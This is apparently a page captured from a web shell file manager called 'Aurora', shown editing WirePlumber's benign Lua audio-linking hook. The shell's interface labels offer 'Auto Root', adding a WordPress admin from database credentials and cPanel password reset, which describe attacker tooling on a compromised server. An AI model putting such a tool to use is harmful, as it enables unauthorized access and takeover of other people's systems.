Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
usr
share
wireplumber
scripts
linking
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: find-audio-group-target.lua
-- WirePlumber -- -- Copyright © 2023 Collabora Ltd. -- -- SPDX-License-Identifier: MIT -- -- Check if the target node is a filter target. lutils = require ("linking-utils") cutils = require ("common-utils") agutils = require ("audio-group-utils") log = Log.open_topic ("s-linking") SimpleEventHook { name = "linking/find-audio-group-target", after = "linking/find-defined-target", interests = { EventInterest { Constraint { "event.type", "=", "select-target" }, }, }, execute = function (event) local source, om, si, si_props, si_flags, target = lutils:unwrap_select_target_event (event) -- bypass the hook if the target is already picked up if target then return end local target_direction = cutils.getTargetDirection (si_props) local target_picked = nil local target_can_passthrough = false local node = nil local audio_group = nil log:info (si, string.format ("handling item %d: %s (%s)", si.id, tostring (si_props ["node.name"]), tostring (si_props ["node.id"]))) -- Get associated node node = si:get_associated_proxy ("node") if node == nil then return end -- audio group audio_group = agutils.get_audio_group (node) if audio_group == nil then return end -- find the target with same audio group, if any for target in om:iterate { type = "SiLinkable", Constraint { "item.node.type", "=", "device" }, Constraint { "item.node.direction", "=", target_direction }, Constraint { "media.type", "=", si_props ["media.type"] }, } do target_node = target:get_associated_proxy ("node") target_node_props = target_node.properties target_audio_group = target_node_props ["session.audio-group"] if target_audio_group == nil then goto skip_linkable end if target_audio_group ~= audio_group then goto skip_linkable end local passthrough_compatible, can_passthrough = lutils.checkPassthroughCompatibility (si, target) if not passthrough_compatible then log:debug ("... passthrough is not compatible, skip linkable") goto skip_linkable end target_picked = target target_can_passthrough = can_passthrough break ::skip_linkable:: end -- set target if target_picked then log:info (si, string.format ("... audio group target picked: %s (%s), can_passthrough:%s", tostring (target_picked.properties ["node.name"]), tostring (target_picked.properties ["node.id"]), tostring (target_can_passthrough))) si_flags.can_passthrough = target_can_passthrough event:set_data ("target", target_picked) end end }:register ()